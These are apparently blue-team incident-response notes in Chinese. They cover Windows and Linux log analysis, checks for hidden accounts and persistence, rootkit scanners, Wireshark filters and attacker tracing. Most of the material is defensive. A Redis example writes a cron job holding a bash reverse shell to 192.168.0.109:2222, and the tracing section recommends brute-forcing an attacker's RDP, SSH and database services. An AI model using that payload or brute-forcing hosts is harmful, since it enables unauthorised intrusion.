蓝队应急响应笔记
#Windows排查
日志分析
在线日志筛选工具:https://tilipa.zlsam.com/loger/
日志分类
Web日志
- Web日志存放路径
Windows默认路径:在根目录下的logs文件夹中
- tomcat日志
包含catalina.out(异常错误的日志)、localhost(类错误的日志)、manager、localhost_access_log 4种格式的日志
- apache日志、nginx日志、IIS日志
包含access_log、error_log
系统日志
- Windows系统日志包括系统日志、安全日志、应用日志等
在事件查看器的 安全事件 中查看事件id
| 敏感事件id | 事件 |
|---|---|
| 4624 | 登录成功 |
| 4625 | 登陆失败 |
| 4720 | 创建用户 |
| 4634 | 注销成功 |
| 4647 | 用户启动的注销 |
| 4672 | 使用超级用户/超级管理员用户进行登录 |
在事件查看器的 安全事件 中查看事件id
当黑客创建了隐藏账户(hacker$),那么net user是无法查看的,可以去事件查看器中筛选查看事件id为4720的事件,查看是否创建了隐藏账户
- 系统日志分析工具–LogParser
1 | 登录成功的所有事件 |
文件分析
#文件排查
1 | (1)各个盘下的temp相关目录%temp% //记录文件大,后缀为exe,dll等文件 |
进程分析
#进程分析
1 | (1)查看端口得到PID |
自启动、计划任务
- 新增、隐藏账号排查
1 | (1)通过命令:“net user”查看 |
- 注册表排查
(1)在注册表此处查看是否有隐藏账户或者影子账号
HKEY_LOCAL_MACHINE——SAM——Account——Users——Names

(2)在注册表此处查看启动项(2种)
HKEY_LOCAL_MACHINE——SOFTWARE——Microsoft——Windows——CurrentVersion——Run
HKEY_CURRENT_USER——Software——Microsoft——Windows——CurrentVersion——Run
(3)计划任务查看
1 | schtasks.exe |
#Linux排查
关键目录
| 文件名 | 说明 |
|---|---|
| /etc/passwd | 用户信息文件 |
| /etc/rc.d/rc.local | 开机启动项 |
| /root/.ssh | root用户ssh公钥和私钥 |
| /tmp | 系统或用户临时文件目录 |
| /etc/hosts | 本地IP地址域名解析文件 |
| /etc/init.d/ | 开机启动项 |
常用命令
1 | 1、ls -alt |

1 | 5、lsof -i:port //查询端口打开的文件 |

1 | 12、查看文件(文件夹)详细信息 |
应急工具
Busybox
1 | ./busybox netstat -antlp |
unhide
1 | 一款检测发现那些借助rootkit及其它技术隐藏的进程和TCP/UDP端口的命令行工具 |
chkrootkit
rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强,对系统的危害很大,它通过一套工具来建立后门和隐藏行迹,从而让攻击者保住权限,以使它在任何时候都可以使用root权限登录到系统。
- rootkit主要有两种类型:文件级别和内核级别
- 文件级别的rootkit:
一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如Tripwire、aide等。
- 内核级别rootkit:
是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。内核级rootkit主要依附在内核上,它并不对系统文件做任何修改。
1 | chkrootkit是一款用于UNIX/Linux的本地rootkit检查工具,用于检查系统上已知的rootkit。它通过检查通常与rootkit相关的特定文件、目录和字符串,扫描系统以查找rootkit安装的任何迹象 |
Rkhunter
1 | rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外,还支持端口扫描、常用程序文件的变动情况检查。 |
运行rkhunter检查系统它主要执行下面一系列的测试:
1. MD5校验测试, 检测任何文件是否改动.
2. 检测rootkits使用的二进制和系统工具文件.
3. 检测特洛伊木马程序的特征码.
4. 检测大多常用程序的文件异常属性.
5. 执行一些系统相关的测试 - 因为rootkit hunter可支持多个系统平台.
6. 扫描任何混杂模式下的接口和后门程序常用的端口.
7. 检测如/etc/rc.d/目录下的所有配置文件, 日志文件, 任何异常的隐藏文件等等. 例如, 在检测/dev/.udev和/etc/.pwd.lock文件时候, 我的系统被警告.
8. 对一些使用常用端口的应用程序进行版本测试. 如: Apache Web Server, Procmail等.
ClamAV
1 | 一款用于检测木马、病毒、恶意软件和其他恶意威胁的开源防病毒引擎。 |
WebShell查杀-河马
1 | https://www.shellpub.com/ |
内存马查杀-java-memshell-scanner
1 | https://github.com/c0ny1/java-memshell-scanner |
日志分析
日志存放位置
/www/admin/localhost
web日志
1 | (1)列出当天访问次数最多的IP命令(确认攻击者IP) |
常用命令:find、awk、cat、grep
find:
1 | (1)find 文件名 |
awk:awk [选项]’匹配规则处理规则’ 路径
1 | 匹配规则:正则表达式 |
grep:查找文件中的字符内容
1 | -c:统计行数 |
1 | (1)SQL注入检攻击检测 |
系统日志
| 日志文件 | 说明 |
|---|---|
| /var/log/cron | 定时任务相关日志 |
| /var/log/cups | 打印信息的日志 |
| /var/log/dmeslog | 系统在开机时内核自检的信息 |
| /var/log/auth.log | 系统授权信息,用户登录和使用的权限机制等 |
| /var/log/message | 系统重要信息的日志 |
| /var/log/btmp | 错误登录日志 |
| /var/log/lastlog | 系统中所有用户最后一次登录时间的日志 |
| /var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件 |
| /var/log/utmp | 当前已经登录的用户信息 |
系统安全安全日志
1 | cat /var/log/secure Centos |
比较重要的几个日志
登陆失败记录:/var/log/btmp //输入lastb直接查看
登陆成功记录:/var/log/wtmp //输入last直接查看
目前登陆用户信息:/var/log/utmp
1 | last 命令: |
密码验证失败
1 | grep "Fail password" /var/log/auth.log | wc -l |
密码验证成功
1 | grep "Accepted password for" /var/log/auth.log |
1 | lsof -i:22 //查看是否开启22端口 |
查看每个ip失败的次数
1 | grep "Failed password" /var/log/auth.log | awk '(if (NF==16) {c[$13]++}else{c[$11]++}}END{for(u in c)print u,c[u]}' | sort -k 2 -nr | head |
查看每个用户名失败的次数
1 | grep "Failed password" /var/log/auth.log | awk '{if (NF==16) {c[$11]++}else{c[$9]++}}END{for(u in c)print u,c[u]}' | sort -k 2 -nr | head |
查看是否有与uid=0的(与root同权限的用户)
1 | awk -F: '$3==0{print $1}' /etc/passwd |
查看是否有空口令账户
1 | awk -F: 'length($2)==0 {print $1}' /etc/shadow |
进程分析
进程和网络连接状态
网络连接命令netstat
1 | -a: 显示所有连接和监听的端口。 |
查看可疑进程的对应可执行程序
1 | ## ls -alt /proc/PID |
查看可疑进程打开了哪些文件
1 | ## lsof -p PID |
查看隐藏进程
1 | ## ps -ef | awk '{print}' | sort -n | uniq > 1 |
计划任务
计划任务路径
1 | /var/spool/cron/crontabs |
查看计划任务
1 | crontab -u root -l |
redis写隐藏计划任务
1 | set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.109/2222 0>&1\n\n" |
#流量分析
Wireshark的使用
网卡选择模式
开启混杂模式
局域网的所有流是都会发送给我们的电脑,默认情况下,我们的电脑只会对自己mac的流是进行解包,而丢弃其他mac的数据包。
开启混杂模式后,我们就可以解析其他mac的数据包,因此,我们使用Wireshark时,通常都会开启混杂模式。
点击菜单栏的[捕获」按钮,点击[选项]
过滤器
1、捕获过滤器
在抓包之前就设定好过滤条件,然后只抓取符合条件的数据包
1 | 过滤基本的语去格式:BPF语法格式。 |
2、显示过滤器
在已捕获的数居包集合中设置过滤条件,隐藏不想显示的数据包,只显示符合条件的数据包。
1 | 显示过滤器的语法包含5个核心元素:IP、端口、协议、比较运算符和逻辑运算符。 |
3、过滤器具体写法
显示过滤器写法
1 | 1、过滤值比较符号及表达式之间的组合 |
捕捉过滤器写法
1 | 1、比较符号 |
注意:这两种过滤器所便用的语法是完全不同的,捕捉网卡数据的其实并不是Wireshark,而是WinPcap,当然要按WinPcap的规则来,显示过滤器就是Wireshark对已捕捉的数据进行筛选。
使用捕获过滤器的主要原因就是性能。如果你知道并不需要分析某个类型的流量,那么可以简单地便用捕获过滤器过滤掉它,从而节省那些会被用来捕获这些数据包的处理器资源。当处理大是数据的时候,使用捕获过滤器是相当好用的。
Wireshark拦截通过网卡访问的所有数据,前提是没有设置任何代理。Wireshark不能拦截本地回环访问的请求,即127.0.0.1或者localhost。
4、显示过滤器具体写法
- 针对ip的过滤
1 | (1)源地址进行过滤 |
- 针对协议的过滤
1 | (1)获某种协议的数据包,表达式很简单仅仅需要把协议的名字输入即可 |
- 针对端口的过滤(视传输协议而定)
1 | (1)捕获某一端口的数据包(以tcp协议为例) |
- 针对长度和内容的过滤
1 | (1)针对长度的过虑(这里的长度指定的是数据段的长度) |
- 针对http请求的一些过滤实例
1 | (1)过滤出请求地址中包含“user”的请求,不包括域名; |
#溯源的方法
入场前期工作
1 明确网络区域划分
DMZ区、办公终端区、核心业务区、上下游公司、供应链接入区
2 明确现有安全设备
设备类型
网络层设备、终端层设备、蜜罐、日志汇总态势类
设备覆盖范围
现有告警质量
告警种类、告警误报评估
3 已有资产梳理
公网暴露资产
IP、域名、运行服务、中间件、账号口令、源码泄露、远程接入点(VPN、RDP、VNC、远程终端管理系统)
内网资产
IP、系统版本、开放服务、账号口令、重点关注资产(域控机器、运维人员机器、堡垒机、自动化运维、邮件系统、OA、wiki等)
4 公司运营业务数据(防钓鱼)
公司内部组织架构、上下游公司、运维 IT 财务 人事等部门信息 以及相关人员对接信息、通信手段 通信格式等
溯源反制
从蜜罐收集到可疑的IP或域名后
主动访问扫描探测
Web
通过ip扫描出的web页面
1、个人博客–昵称简介备案等信息
2、红队设施–弱口令、爆破、其他漏洞
爆破
1、RDP
2、SSH爆破
3、FTP爆破
4、各类数据库(MySQL、MSSQL、Redis、MongoDB)
情报搜集
威胁情报、沙箱
360、奇安信、微步
搜索引擎
1、百度、谷歌
2、fofa、zoomeye–历史资产服务、现有资产服务
阿里云、腾讯云、华为云
1、IP找回账号
2、域名找回账号
IP定位
http://www.ipplus360.com/about/us
得到攻击者信息后
攻击者信息:虚拟IP、手机号码、姓名、邮箱、QQ号